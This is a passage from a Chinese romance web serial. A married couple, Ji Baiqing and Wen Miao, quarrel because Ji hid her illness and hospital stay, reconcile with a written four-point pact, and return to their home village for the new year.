看着她显得有些冰冷的侧脸,季白青有些心慌,放在被子下的手微微蜷缩起,她试着唤温淼的名字。 “蓁蓁……” 温淼看了眼时间:“饿了吗?胃还疼不疼?” 季白青顺着她给的话题往下说,向她撒娇:“有点饿,伤口也还疼。” 温淼点头,理了理外套,在床边坐下。 “在学校的时候不知道饿,在医院就知道饿了。” “胃痛的时候不知道来看病,严重到要做手术了才来医院,现在疼也得忍着。” 温淼冷笑一声,总结道:“活该。” 季白青被她一番话说得只觉得伤口更疼了。 她委屈巴巴地抱着被子,也不知道是不是生病时期心里脆弱,眼睛慢慢湿润,蒙上了几分雾气。 “老婆……” 温淼不想理她的,但还是狠不下那份心。 她语气微微放缓一些:“乖一点,现在还不能吃东西,再喝点水睡一会儿,等早上再吃。” 倾身给青年喂了水后,又给她掖了掖被角,温淼撑着额角,垂下睫毛,有些困倦。 季白青看她一眼:“去旁边的床上睡。” 她不敢说让温淼和自己睡这种话,怕她觉得自己不重视自己的伤。 温淼眼皮不抬,低声道:“你睡你自己的,我待会儿就休息。” 刚才的对话在前,季白青不敢违抗,乖乖闭上了眼,身体的沉重一连串压在了眼皮上,没多久又睡了过去。 见她睡着了,温淼往后靠着墙微微阖了阖眼。 早上五点多的时候她醒了过来,去买了菜,回家熬了一份青菜粥,装进饭盒里带到医院后没多久,季白青醒来了。 帮她洗漱一番,看着人低头喝粥,温淼站在窗边看向外边,心里仍旧有些介怀。 季白青怎么那么不在乎自己的身体?一定要拖到被别人都发现不对劲才愿意来医院看看吗? 而且她没和自己说过她想早些毕业,这是什么好瞒着的事吗?明明她舍友都知道。 突发的一系列事情都让温淼有些头疼,季白青到底是想要干什么? 脑中的想法弯弯绕绕纠缠在一起,温淼突然听见季白青叫她的声音。 “蓁蓁,你吃了吗?” 温淼哪有心思吃,一半是被气得,另一半是担心。 她随意点头,在床边坐下,看着继续喝粥的季白青问道:“你有什么话想和我说吗?” 季白青抬脸有些茫然地看了她一眼,随后想了想:“你后天不是还有考试……” 温淼的脸色越发冷了几分,将她还要说的话打断。 “好了,我不想听了。” “……”季白青的内心有几分不安。 接下来的几天,温淼将她照顾得很好,无论是查房的医生还是护士都直夸两个人感情好,可只有季白青自己知道她和温淼之间的气氛有多僵持。 温淼细心照顾她,却不再像是以前一样或是温柔或是娇气地同她说话,偶尔说上几句话的语气也不带什么情绪。 无论季白青怎么和她聊天开启话题,得到的都是不冷不热的回答。 她在生气,季白青明确地意识到了这一点。 季白青住院住了一个礼拜,温淼这一个礼拜都在守着她,只有考试的时候出去了一趟,还特意拜托护士多关注关注她。 一个礼拜过后,缝合线被拆开,在温淼的精心照顾之下,季白青的伤口恢复得很好,已经可以出院了。 季白青出医院的时候狠狠吸了一口气,这一周真是快把她憋坏了。 几次想要出来转转,但是温淼却不放心,冷着脸让她多在床上休息,只有在护士说的活动时间内才被允许出病房去楼下活动活动。 季白青不敢不从, 出院的时候眼见着都一月末了,一个周过去,两人的期末考都已经结束了,季白青没能参加的考试在大二开学之前补考就行,两人都没什么事了。 回到家之后,季白青看着正在收拾衣服的温淼,试着和她搭话:“老婆,我们过段时间回潇南?你是想在这边过年还是回去过年?” 温淼收拾东西的速度不变,淡淡道:“你自己回去吧。” 季白青有些疑惑:“你不想回去吗?那我们一起留在京市过年。” 京市也还有温知意和温皎皎两个亲人,虽然不能回去,但和她们一起过年也好。 温淼掀起眼皮,看着她的眸光带了几分冷然。 “我的意思是,你自己回去过年,我留在京市过年。” “你可以一个人在医院照顾自己,为什么过年还需要我陪着回去?” 【作者有话说】 青青危! 我发现在家最常穿的衣服就是睡衣,这个月坚持全勤,下个月就奖励自己再买一套睡衣[狗头] 感谢投雷营养液,感谢评论订阅收藏,细节已添,看完的宝明天刷新[亲亲] 123 第123章 ◎原谅◎ 季白青听着她将自己在医院对她说过的话一一还回,一时间脑袋都还在直发蒙。 就在她嘴唇嗫嚅着,想要说些什么话来解释的时候,就听见温淼将最后一句话落下。 “我想,或许我们都需要时间冷静。” 屋外是簌簌的狂风,刚才一进门,温淼就点燃了屋里的炉火,明明暖意早就在屋里蔓延开来,听了她的话,季白青还是觉得身体无端发冷。 温淼是什么意思? 她笑得有些勉强,反驳道:“老婆,别和我开这种玩笑,我现在很冷静,不需要再多的时间去冷静了。” “我已经知道错了,在医院说的话都是骗你的,我是需要你照顾的,只是不想要你太担心了。”她将自己的心里话说了出来。 说完后,她从床边站了起来,几步走到衣柜前,从身后抱住温淼的腰。 “蓁蓁,我错了。” 温淼垂眸看她扣在自己腰上的手,没有做声,继续将柜子里的衣服往外拿,几乎所有常穿的衣服都被她收进了袋子里。 季白青没有得到回应,心里慌张得不行,心跳都是乱的,完全没有办法镇定下来。 她想,温淼现在收拾东西是要去哪?她不要她了吗? 出门之后还会不会回来? 各种想法挤得头脑胀痛,季白青的内心越发的不安,所有思绪纷乱搅和在一起,像是一团难以解开的毛线球。 她圈住温淼腰肢的手也越缩越紧,将人紧紧圈住,身体相贴像是想要与她融合。 温淼被勒得微微皱起了眉,也没有继续迁就下去。 这一周的时间里,她一直憋着气,但顾忌着季白青生病,每天都冷着脸照顾人,现在她病好得差不多,而温淼此时的心情也不悦,没有那么多耐心还继续迁就着对方。 反正季白青不是那么能的吗?什么事都不告诉她,那也不需要她主动去迁就。 这样想着,她低头,手落在了季白青的手上。 感受到属于对方的温度,季白青以为温淼原谅她了,下意识反过手去想要抓住对方的手掌,最后却被躲开。 温凉的手最后还是落在了她的手臂上,可却是将她放在她腰上的手掰开。 身体一松,温淼转过身去看着她,手落在她的小腹,轻声道:“别动。” 将衣服撩开,看着小腹上那一小道粉色的肉色伤疤,手指悬空虚指着那一处,最后怕她疼,指尖只落在了疤痕边的皮肤上。 “还疼吗?”她问。 季白青看着她落在自己小腹上的手,忍着鼻腔的酸涩摇头。 “不疼了。” 听她这么说,温淼微微放下心。 最后一点东西已经收拾好,温淼提着袋子,没有看季白青,怕自己一会儿又心软。 她道:“什么时候你想清楚了,什么时候知道自己错在哪里,我们再好好聊。” 说完后,温淼同季白青错开,往门口走。 季白青站在原地,丝毫不敢回头看,只是用指甲死死掐着自己的手心。 她张了张唇,最后发出来的声音都是哑的。 “你……你去哪?” 温淼顿了一会儿,扭头去看青年单薄的背影。 她道:“不用你管。” 说完,她没有再留恋,拧开门出了房间。 听见了细微的关门声,季白青原本挺直的背微微佝偻,被蒙上了一层水雾的黑眸中情绪茫然又自责。 温淼走了。 她又让温淼难过了。 季白青知道自己做错了,可是她却不知道到底错在哪。 她大步流星走到了门口想要去追已经离开的人。 手刚扶上卧室的门把手,整个人却又突然泄了力。 她背靠着门,顺着门板缓慢滑落,最终整个人跌坐在地上,抱着膝盖,身体蜷缩起来,腹部的伤口被挤压,隐隐的疼痛扩散开,身体的主人却没有心思管。 季白青恍惚地想,她不能现在去追温淼,至少要过几天。 温淼说要时间冷静,她得听话才行。 对,她要听话,给温淼冷静的时间。 不知道在地上坐了多久,整个身体都变得冰冷,连烧得越来越烈的炉火也烘不暖。 明明现在是白天,阳光从窗户倾泻至房间之内,零星部分撒落在季白青的身上,季白青还是觉得整个人像是被黑暗包裹。 她不知道该现在该干什么,该怎么办。 “咔哒”一声,门锁突然被拧开。 季白青受惊一般连忙站起,眼睁睁见着门被推开,原本她以为已经离开的人再度返回,手上还端着一碗药汁。 温淼看着她苍白的脸色,眉头不自觉皱了起来。 “你刚才一直坐在地上?” 季白青下意识想要摇头否定,最后还是在她清浅的眸光注视之下点了头。 她嗓音哑得越发厉害:“对不起。” 温淼不说话,将药放到桌上,见人还傻站在门前,面色不大好地将人抓到炉子边。 她下巴尖点着桌上的药,言简意赅:“喝了。” 季白青还没从温淼并没有离开的惊喜中反应过来,听见她的话后,完全是凭借着本能去听她的话。 她端着碗一股脑将药喝了下去,也不管温度。 好在温淼提前测过了温度才给她端了进来。 刚才她所喝的中药虽然苦,但是温热的,落入了胃中,让整个身体都多了几分暖意。 炉子里的蜂窝煤冒着橘黄色火焰,发出噼啪的声响,将季白青原本冰冷的身体烘得热了几分。 温淼摸着她的手,确认暖和起来后,忽略掉她眼巴巴的视线,转身要出去。 季白青大着胆子开口问:“你没有走吗?” 温淼反问:“你要我走去哪里?” 青年闻言,立马摇头:“没……” 她要解释的话还没说完,女人没有要听的欲望,立马出了房间,将门带上。 一扇门将两人隔绝开,没办法再看到对方的身影,季白青的心情再度沮丧起来。 温淼没有走,但是要和自己分房睡。 或许是确认了她还在家里这件事,季白青的心中还是不可避免地多了几分安全感。 她回到床上,盖着被子躺下,药的安眠成分生效,在昏昏沉沉滋生出睡意的时候她还在想,到底该怎么和温淼道歉她才能够不生气。 只要对方不生气的话,让季白青做什么也可以。 彻底睡着之前,季白青冒出这样的想法。 中途温淼进房间了再查看了一次她的情况,摸了摸她额头的温度,没有异常,见她睡着了,这才悄声出了房间。 季白青这一觉睡得很不踏实,虚虚实实的梦境里,她像是被困在了潮水之中,呼吸凝滞、每次动作间承担着重压,一个动作足以消耗全部精力,周围是怪诞的笑,一抬头无数张扭曲的人脸在外围观看,她却没看到自己最想要见到的人,咕噜咕噜往下坠,险些窒息。 最后一刻才得以从梦境之中清醒过来。 季白青睁开眼,撑着身体坐起来,后背汗涔涔的,粘着布料很不舒服。 她此时却顾不得其它,慌乱之中踩上了拖鞋,将门拉开,看着客厅内女人坐在桌前正在低头写着什么东西之后才猛地松了一口气。 梦都是假的,温淼还在家。 温淼本就在时刻注意着屋内的动静,此时听到了慌乱的开门上,转头看过去,见季白青衣着单薄,蹙着眉头训斥:“穿上衣服!” 季白青低头看着自己单薄的衣服,讷讷应下。 回了房间,随意裹了一件厚实的外套,她这才出了客厅,看着温淼的脸色小心坐在了她的身边。 她也没干什么,就只是觉得心神不宁,在温淼身边才能汲取到一些安全感。 温淼看了她一眼,没多说什么,继续干着自己的事。 不知道过了多久,屋内逐渐暗了下来,季白青有些饿,正想着要不要去做饭,肚子突然不受控制地叫了一声。 一点小动静被原本在认真看着翻译文本的温淼注意到,她站起身去了厨房,将下午炖上的鸡肉倒在碗里,又开火炒了个青菜端上桌后就开始吃饭了。 喝着温淼给自己倒的鸡汤,季白青感受着饭桌上的沉默,心里越发觉得不是滋味。 她试探着开口,夸道:“蓁蓁,你炖的鸡汤很鲜。” 温淼淡淡看了她一眼,没有说话。 季白青被她冷漠的一眼看得脸上强挤出来的笑意一僵,最后唇角落下,低下头继续沉默吃饭。 一顿饭吃完,温淼去洗碗。 季白青在沙发上坐立不安,不知道该怎么办才好。 她不想要和温淼继续这样沉默下去。 再道一次歉的话能和好吗?这个想法冒出来,季白青自己也不能确定。 她绞尽脑汁地想着听起来能显得真挚的语言,要等着待会儿温淼过来和她说。 哪知道温淼洗完碗之后只是给她端了今天的药,便再也没有在客厅继续待下去的打算,扭身往客房走。 季白青的手握成拳,下意识开口叫住了温淼:“蓁蓁……” 她撒谎:“我肚子有点疼。” 闻言,温淼拧着眉走近,坐在她身边将她的衣服掀开看了看。 疤痕和上午看的一样,没什么问题。 对上她审视的眼,季白青磕磕巴巴道:“现在又突然不疼了。” 温淼怒极反笑,站起身来就想走,一下被季白青扯着手腕跌坐到沙发上。 青年的按着她的肩,柔软的唇蹭到了她的脸上,急促的呼吸声有如实质,一下一下触着她的肌肤。 是对方平日里做错了事想要求得原谅的讨好式的亲吻。 温淼却不觉得这件事能这样简简单单的就算过去。 她拧着眉往后躲,季白青几次没亲到人,最后睁开了眼,对上她冷静的双眸,突然间像是被从头到脚泼了一身的凉水。 她不再有继续下去的勇气,退开了几分,小声道歉:“对不起。” 此时身体冷了下来,思绪也突然清晰了几分,季白青继续道:“我不该在你想要照顾我的时候推开你,知道我进医院了,当时你肯定很着急,我说那种话让你不高兴了。” “蓁蓁,以后你说什么话我都不反对了好不好?” “看在这是我第一次犯的份上,能不能原谅我?” “以后你说什么我都不会再拒绝了……” 她仰头看着站起来的女人,脸上带着小心翼翼的神色。 温淼低头看她,明明是季白青在道歉,但是她的心里也莫名多了几分难过。 她的手蜷起,扭过头去不在看她。 “季白青,你再好好想想,想想到底是错在哪了,想清楚了再来跟我好好说。” “如果想不清楚的话……就这样吧。” 说完,她不给自己回头的机会,有些像是落荒而逃,转身进了客房。 看着被紧紧闭上的门,刚才女人的话一遍一遍在耳边回响。 就这样……? 温淼是什么意思? 季白青此刻很想好好想想温淼到底是想要她反思什么。 刚才的道歉温淼还不满意,所以该要怎么才能被接受? 她此刻确实应该好好想想的,可是脑子缺像是突然被糊了一层浆糊,什么想法都存留不住,只有温淼回房间前落下的那句话还在脑海中盘旋。 她到底做错了什么?季白青抓着头发,呼吸加重,想不出来。 将药喝完后,跟行尸走肉一般走回了房间,直挺挺地躺在床上,季白青想了一整晚,还是没能找到温淼在意的点。 天色微亮,她才终于撑不住,阖着眼睛睡了一小会儿。 早上七点,她惊醒,看了眼时间后立马准备起床去做早饭。 结果出卧室,却看到了桌上放着的菜和一碗热气腾腾的粥。 她走过去一看,碗下压了一张纸条。 “我出去住几天,好好养伤。” 季白青的手一抖,纸条飘落在地,她却顾不得这些。 拔腿走到客房门前,将门打开,里面的被子叠得齐整,原本住在里面的人却不见踪迹,徒留下些熟悉的香气散落在房间。 季白青将家里上上下下每个角落都找遍了,没见到温淼的身影。 这个时候,她才被迫接受了这个消息。 温淼出去住了。 她不想和自己继续共处一室。 她是不是已经厌烦自己了? 季白青给温知意和温皎皎分别打了个电话,语气镇定地问清楚了温淼不在她们那之后便挂了。 那现在,温淼最有可能在的地方就是学校。 季白青想去学校找人,最后还是停住了脚步。 她需要好好想想自己到底是错在哪了才行,要想清楚了再去找温淼。 不能再惹她不耐烦了。 在家想了几天,季白青几乎每天都难以安然入睡,但有着温淼的吩咐,她还是不敢不好好养伤。 她一面在想着自己的错误,一面在担心温淼。 怕她在学校吃得不好,睡得不好,最怕她……不想要自己了。 三天的时间过去,季白青将思绪理得差不多,换了一身曾被温淼亲口夸过好看的衣服,看着自己不大好的脸色,她擦了个口红提提气色。 将一切都收拾妥当之后,她去京市的花店买了一大捧粉色的蔷薇。 骑着车去京市大学的路上,季白青的心里一直有些担忧,害怕温淼会不愿意回来。 到了宿舍楼下的时候,她停下了车,在宿舍楼下踌躇良久,下定决心后去找了宿管阿姨,让人帮忙将人叫下来。 温淼这几天没事的时候都在宿舍,翻译引进的外国书籍的工作已经定了下来,出版事业管理局看了她所翻译的文章后很满意,已经将她需要翻译的书籍发给她了。 除了她之外,学校还有另外一个女同志也和她一起参与了翻译任务,因为两人经验不足,这几天学校组织了一个简单的培训活动。 温淼来学校住下,一是方便培训,二也存了些想要躲着季白青的想法。 对方意识不到自己的错误,温淼见着她可怜的模样却又忍不住心疼,但是这样的事情哪能纵容她撒撒娇就过去,温淼只能躲着。 必须让她长点教训才行。 这天听到宿管说楼下有人找,她叹了口气。 清闲日子躲不了多久,人现在又找上门了。 也不知道三天过去,她意识到自己到底错在哪里没有。 刚好昨天培训结束,如果季白青真的意识到了错误的话,那温淼可以跟着她回去。 想着,她走到了楼下,一眼就看到了穿着黄色外套,抱着一捧花的漂亮女人。 心脏微微一跳,她抿住唇,不动声色走到了季白青的面前。 季白青看着温淼,心里突然生出了几分紧张。 她擦了擦手心的汗,道:“好久不见。” 温淼简直要被气笑,简明扼要问:“来找我就是为了说句好久不见的?我觉得也没多久。” 季白青张了张唇,有些无力地解释。 “不是……我……” 她头一次觉得自己嘴笨,以前轻而易举可以说出的甜言蜜语在这个时候却堵在喉咙里,让她什么话都说不出来。 怕温淼走,她再度开口:“我很想你。” 这话一说出来,青年的眼睛都湿润了几分。 她低声道:“我真的知道错了。” 温淼看着她,忍住要伸手给她擦泪的想法,“真的?” 见人点头,她颔首。 “行,那我们回去好好说。” 现在学校里的人不多,但也还有一些,她们站在宿舍楼下并不方便说话。 季白青没想到温淼说得这么干脆,有些惊喜地抬眸看她。 见温淼转身要回宿舍,她下意识拉住了人的手:“你、你去哪?” 温淼无奈回复:“收拾东西,带回去。” 季白青的心还是没能安定下来,一直看到温淼真的拿着行李下了楼这才微微安心。 回去的路上,换成了温淼载着季白青回去。 到了家之后,看了眼被摆在桌上开得正艳丽的蔷薇,她视线挪到季白青脸上。 “坐。” “现在说,错在哪了。” 季白青有些紧张地舔了舔唇,在她的对面坐下。 “不应该在需要人照顾的时候让你回去、不应该让丁佳盈不告诉你我生病的消息。” 温淼点头:“还有呢?” 被她用冷冷淡淡的眼神看着,季白青准备好的一腔话突然卡壳。 她有些委屈:“老婆……给我一点提示好不好?” 她不知道要该怎么说才是对的,温淼不给她一个具体的方向,季白青真不知道该往哪猜。 听了这话,温淼吸了一口气。 “如果你还不知道自己到底是错在哪的话,在学校的时候你说你知道错哪的话又是什么意思?骗我吗?” 她一时间有些憋不住火气,气冲冲回到房间将前段时间季白青的诊断书拿了出来,扔在季白青面前。 “不按时吃饭、不好好休息,身体不舒服不去医院,季白青,你说说你到底是想要怎么样?” “你之前怎么和我说的?你说,让我有什么不舒服的时候跟你说,我听话、照做了。但是你呢?你看看你是怎么做的?都进医院要动手术了,还不想告诉我,我去照顾你,你倒好,还要把我推开,季白青,你说说你把你自己当什么了?无坚不摧的铁人吗?” 她的胸膛起伏,再也控制不住自己的情绪。 “你之前是怎么关心我的身体的,你不知道用在你自己身上吗?” 给了她一段时间好好反思,结果季白青所有头绪都落在了温淼她说过的那几句话,丝毫不往自己的身体上想。 温淼说到最后声音多了几分哽咽:“你不知道我也会关心你的身体吗?看到你难受,难道我就好过吗?” 季白青被她一长串的话砸得头脑发晕,她的眼睛也慢慢发热。 抬头看着对方,温淼站起来,纤弱的身体在发颤,看起来摇摇欲坠。 季白青想去扶她,却被人甩开了手。 温淼往后踉跄两步,随后扶着沙发站稳。 她抹了一把泪,倔强地看着季白青,语气疏离:“反正你也不在乎你自己,随便糟蹋自己的身体,那我怎么样更不需要你管。” 说着,她暂时不再想要看到季白青,捞起一旁的外套就要往外走。 季白青呼吸猛地急促起来,上前将人抱住,将脸贴在她的后背,任由对方怎么挣扎都丝毫不愿意放手。 将人抱住的那一瞬间,她的眼泪也瞬间掉了下来,将温淼身后的布料打湿。 “不要走……蓁蓁,我知道错了,我这次是真的知道错了。” “我会改的,等我改好不好?” 季白青断断续续将话说完,纤长的睫毛已经变得湿漉漉了。 温淼停下挣扎的动作,冷眼听着季白青的话。 “你改不改又和我有什么关系?我说的话你听听就好,不用往心里去,毕竟你主意不是最大么?不是什么事都要瞒着我么?” “你按照你的想法来就好,不用管我,反正我也不是多么重要的人。” 季白青的心脏紧缩,立马反驳:“你是我最重要的人!” 强硬的语气不过两秒,她的声音又立刻软了下来:“蓁蓁……不要说这种气话好不好?我受不了的……” 眼泪掉得越发汹涌,不仅是季白青。 温淼的泪珠一滴一滴落下来,砸在人的手上,明明分量很轻,却又像是一块石头,将季白青的心几乎都要凿碎。 “那你知道我听丁佳盈说你在医院的时候我是什么感受吗?你知道我听你让我回去你可以自己一个人在医院的时候我又是什么感受?我听她们说你想提前毕业但我不知道的时候我又是什么感受?” “你什么都瞒着我,我不会难过吗?” “你让我照顾好身体,但你却一点不管你自己的身体,我不难过吗?” “季白青,你觉得我说的这些,其中哪件事又是我能够受得了的?” 她们是领了证的妻妻,本来应该相互信任才对。 可温淼对季白青几乎没什么秘密,季白青对自己却总是报喜不报忧。 原本是两个人应该共同面对的,季白青却偏偏想要一个人扛过去。 她是聪明、力气大、有自己的想法,可即使这样,她也是个活生生的人,只要是个人都会累,怎么可能什么都靠着自己扛过去呢。 起码温淼不会忍心看季白青自己一个人扛过去。 季白青在糟蹋自己的身体的时候,有没有想过温淼会心疼呢? 一旦开始和季白青较真这些细节,温淼就发现自己丝毫不能接受她的做法。 她失了力气,说出来的话是轻飘飘的,没带什么重量,落在季白青的耳中。 “阿青,如果是我这样对你,你又会是什么心情?” 季白青的情绪恍惚,开始将自己带入温淼的视角。 就如同温淼所说的那般,她做的事、她的想法很难被人接受。 原本她这么做的目的只是为了不让温淼担心,不想让她难过,但现在看来这个想法就像是笑话一般,不仅没能让温淼不担心、不难过,还让她在难过担心的同时心生沮丧。 季白青张了张嘴,最后却说不出一句话。 她甚至都不知道要怎么开口为自己辩解。 最后所有的话都化作了一声无力的“对不起”。 她喃喃:“蓁蓁,对不起,是我想错了。” 原本将人抱得紧紧的手也慢慢失了力,她耸拉着头站在原地,显得没有精神,她不知道该说些什么话去挽回。 温淼现在大概很失望吧,她做了很多的错事。 她的手往前抓了抓,触到了另一个人的衣角,心里却没有生出抓紧的勇气,最后只是虚虚抓了把空气。 青年抬头,声音有几分干涩,小心翼翼询问:“我会改的,还能再相信我一次吗?” 面前的人背着身,看不清脸上的表情如何,但是却没有离开,还停在她的身前。 她会选择给自己机会吗?季白青的呼吸都浅了几分,想要听到她的回答。 只是温淼的身体没有动,但也没有出声。 季白青紧张地咽了口口水,不知道她到底是什么意思,便伸出手指试着去勾她的手,两根手指搭在一起的瞬间,温淼没有给出任何反应。 她大着胆子,将自己的手一整个圈住她的,慢慢走到温淼面前和她面对面。 女人琥珀色的眼睛浸着涟涟的水光,像是刚下过一场春雨,睫毛都被雨染湿,沉甸甸地压下。 看着女人泛红的眼圈,*季白青的心尖发颤,酸得不像话。 又让温淼因为她掉眼泪了。 她将人抱住,两具柔软的身体再次贴合的时候,原本已经止住了眼泪,最后还是没能够控制住泪腺,眼泪像是掉了线的珍珠,一颗颗往下砸。 季白青再次重复:“以后再也不会糟蹋我的身体了,难受的时候会准时去看医生,要干什么也会和你说,不舒服也不再瞒着你、不会推你离开……” “蓁蓁,能不能给我一个改正的机会?” 温淼感受到肩膀上的湿意,被她带得眼睛里的水雾浓了几分。 她知道季白青说出来的话都会努力做到,可逞强这件事似乎是她带着骨子里的性格。 她说着会改,可是真的能改掉吗? 过了好一会儿,她语气认真询问:“真的会改吗?” “会。”青年的声音带了几分泣音,却不难听出其中带着的几分坚定。 温淼垂下眼睫,轻轻闭上了眼。 只要她给出了承诺,温淼就愿意相信。 “好。”温淼轻声应下。 她将人的手握紧,忽然庆幸自己遇到的人是季白青。 是愿意听她说话,愿意为她做出改变的人。 季白青将人抱了好一会儿,才恍惚开口询问道:“所以……我们是不是和好了?” 得到了女人的肯定之后,季白青又将人抱紧了几分,说话的声音里带上了几分恳求。 “以后不要吵架、不要冷战好不好?” 季白青真的受不了这样。 温淼抿着唇,过了一会儿才回答:“这要看你的表现才对,如果你以后不这样那我们就不会吵架。” 季白青立马回复:“以后不会再这样了。” 她将人放开,低头讨亲,声音带了几分不安。 “亲一下……” “可以吗?” 她声音可怜地向女人索吻,迫切想要证实两人已经和好这件事。 至于询问,则是害怕像是上次一样,亲她却被拒绝。 温淼没有说话,只是仰着头,闭着的长睫微微颤动,等待着吻落下来。 季白青见状,手落在她的脑后,温柔噙住她的唇瓣吮吸,带出一点啧啧水声。 这次的亲吻绵绵柔柔,不带什么侵占性,季白青正想要确认面前的人是真实存在的。 她们已经和好了。 其它的什么都不重要了。 唇上那点艳色早就在亲吻中被吞吃进去,露出原本有些苍白的唇色。 即使是经过一番亲吻斯磨,最后也只是浅色的粉。 一吻结束,发现温淼的视线落在自己的唇上,季白青有些无措地抿起唇,也猜到了几分,她解释:“我有好好养病。” 即使是心里藏着事,在想与温淼有关的事,季白青也每天都逼着自己喝药、擦药、休息。 她眼巴巴看着温淼,加重声音强调:“我很听话。” 见她这副模样,刚才强制冷硬起来的心在此时彻底软了下来。 她将人拢在胸口,轻声道:“我知道。” 原本满腔怒气,现在已经散得不剩多少了,全都转为了对青年的怜爱。 “我们今年还是回潇南过年。”温淼亲亲她的唇角,回她刚出院那天问的话。 季白青还没来得及欣喜,抬眸飞快看她一眼,又立马收回了视线,小声问:“你不是想留在京市过年吗?” 温淼低头捏她的耳垂:“还不是被你气的。” 青年在对方的胸口蹭了蹭,喃喃道:“以后真的不会这样了。” 她再也不敢了。 不能再因为这件事和温淼吵架,最后的结果她承受不住的。 温淼应了一声,让人回沙发上坐着,她回房间拿了纸笔出来。 见到温淼出来之后,季白青立刻靠了过去,看着温淼在纸上写字。 写完后,季白青将标题读了出来。 “约法……三章?” 温淼点头,指着上面列出来的三条。 第一,非必要的事情不许瞒着对方。 第二,要照顾自己的身体。 第三,不许将对方推开。 “如果你觉得还缺了的话,可以再添。” 季白青沉吟一会儿,最后填上了一条。 第四,永远忠于这段感情。 两人分别签了字。 温淼找出一个相框,将约法四章放了进去,放在了卧室的桌面上。 一整天的时间,季白青都很粘着温淼。 做饭要她在身边,温淼工作要挨着,洗个澡都想着跟进澡间。 知道她内心还有些不安,温淼只能尽力给她安全感。 晚上,两人久违睡在一起,最开始温淼隔着季白青有些距离。 季白青圆润的杏眼看着她,黑眸里带了几分委屈,用眼神谴责她为什么离自己这么远。 温淼有些头疼,揉了揉眉心,解释:“你肚子上还有伤口,我怕压着你。” “不是不想和你抱着睡的。” 闻言,季白青松了一口气。 她立马道:“伤口已经好了,不用担心。” 她直球道:“我想抱着你睡。” 温淼还没说什么,她就慢慢蹭到了女人的身边,将人往自己的怀里卷。 “不会压着我的。” 见状,温淼只能放任她去了,毕竟其实在她心里,她也是想季白青的。 主卧房间今天没有缺席某个人,两人相拥躺在床上,两人身上的气味混合在一起,床柔软又舒适,屋内暖烘烘的,她们都很快睡着了。 只是温淼总是担心自己会压到季白青的伤口,睡得不是太安慰,半夜的时候醒来一次。 她起床倒了杯水喝,回到卧室的时候,就听见季白青的梦呓。 “对不起……” 温淼的动作顿住,很快回到床上,将人拢进怀里拍了拍,低声安慰:“好了,原谅你了。” 怀中的人又不知道嘟哝了几句什么,温淼耐心地轻哄着,她这才逐渐安静下来。 这几天,两个人抽出时间将学校和自己的事都处理好,同温知意和温皎皎告别之后就拎着大包小包踏上了回潇南的火车。 有一年的时间没有回去,只是每个月在固定时间给何香月和温向荣打一次电话,她们都很想念在溪宁镇的亲人和朋友。 一月份就回去的事也没有告诉何香月她们,两人想要提前给她们一个惊喜。 季白青大病初愈,火车上温淼守着行李,让她休息,到了地方之后才将人叫醒。 刚从火车上下来,就能够感受到一阵刺骨的寒意。 风飕飕地往人的身上吹,风里带着潮,冻人骨头。 季白青拎着行李,抽出一个手将温淼脖子上的围巾掖了掖,又将自己的围巾裹紧,这才和她一起往出口走。 出了车站,才发现原本落后的小县城竟然也发生了些许变化,地面变得平整了些,一眼望过去多了几栋高楼,就连火车站的出口都多了两辆长途客车。 她们上前询问一番,得知可以路过云水村后便上了车,交了两毛钱的车费。 在车里坐下,刺骨的风还从窗户的缝隙、大开的车门里卷进来,车上人说话都能看到白色的雾气。 季白青不是太冷,将温淼往自己怀里搂,给她暖着手。 也不知道怎么回事,温淼明明穿的够多了,手脚还是暖和不起来。 她往车里看了看,刚才上了不少人,现在客车上被挤满,没多久应该就能够开车了。 等到车厢里再塞不下第二个人,司机总算是启动了车,窸窣一阵响之后,长途客车平稳行驶起来。 云水村不算远,长途客车的速度快,不过是二十分钟的时间就到了地方。 季白青和温淼拎着行李下车,站在村口看了看。 太久没回来的,原本熟悉的地方显得有些陌生。 季白青拉着温淼的手,和她一起往家里走。 路上不乏遇上了些正在外面忙活或是闲聊的村民,见到了穿着打扮时髦的季白青和温淼后,第一时间都不敢认。 孙大娘正在地上扯大蒜呢,远远听到了村里人说话的声音,抬眼一看,见到了两个天仙似的漂亮人。 她一愣,还没认出来是季白青和温淼。 下一秒就听见两人开口和她打招呼:“孙大娘,在扯蒜呢?” 孙大娘应了一声,有些不敢置信地眨了眨眼睛,这才敢认:“是白青和淼淼啊!” 她连忙将手里的打算抖了抖泥,热情道:“走走走,还记得回去的路不?大娘带你们回去。” 季白青失笑,哪里会不认识路。 不过她没打击孙大娘的热情。 到了季家门口的时候,孙大娘嘹亮一嗓子喊道:“香月,你家两个大学生回来了!” 【作者有话说】 吵架的是两个人,但怎么哭的是三个人[爆哭][爆哭][爆哭] 感谢投雷营养液,感谢评论订阅收藏,已改完,看过的可以重刷 124 第124章 ◎回村◎ 现在也就一月中旬,潇南的天气降了很多,又经常伴着冰凉的雨,又湿又冷,地里的庄稼也不愿再长,早在十二月末的时候,地上就没有活了。 不需要上工之后,村里家家户户闲下来的时间几乎都在家里猫冬,要么东家走走,要么西家串串门。 早在季白青和温淼去上学之前就帮着家里买了一台黑白电视机装上,想着在下工之后让何香月她们看看电视,不仅能够解乏排闷,还能通过电视多看看、了解外面的世界。 电视机买回去之后,自然在村里引起了轩然大波。 毕竟季家有收音机是村里人早就知道的,这还是得多亏了她们有个城里来的大户人家的女媳,不然哪里来的钱和票。 不过在继收音机之后又买了电视机,这钱还是季白青出的!要知道收音机这玩意云水村中没有几户买了,但还是能够找出那么两三个的。 黑白电视机却是实实在在只有季家有,多稀罕。 在装上电视机之后,不少村民都跑到了季家院子里,想要瞧瞧电视机到底是什么模样,不过对季家有好多人她们都欢迎,但是以前对季家落井下石过的村民全都被何香月和季伟联手打回去了。 虽然只有固定的几个节目可以观看,但是能看到电视机盒子里面那些可以动的人,大家伙即使是看新闻联播都觉得津津有味。 更不要说除此之外还有其它的精彩的节目,村里人最爱看的就是打鬼子的电视。 每天下工吃过晚饭都有人来季家追电视机里播放的《地道战》,无论是重复看了几遍都看不厌。 孙大娘在门口喊人的时候,迟迟没有动静,她耳朵贴在门口听了听,耳尖地听到了屋子里电视播放的声音,了然地拍了拍手。 “白青淼淼,你们娘爹现在肯定是在看电视呢!都看入迷了,说话都听不见了。” 说着,她走到门口,大力地拍了拍门,提高了音量。 “香月!” 一屋子的十几个人总算是听到了动静,何香月站起来,听到孙大娘的声音后笑着去给她开门。 “婶子,来看电视?” 门被打开,何香月下意识往她身后扫了一眼,看到了孙大娘身后站着的两个人后瞬间一愣。 孙大娘见状,让开了位置,笑呵呵道:“还在看电视呢,俩孩子现在回来了你都不知道。” 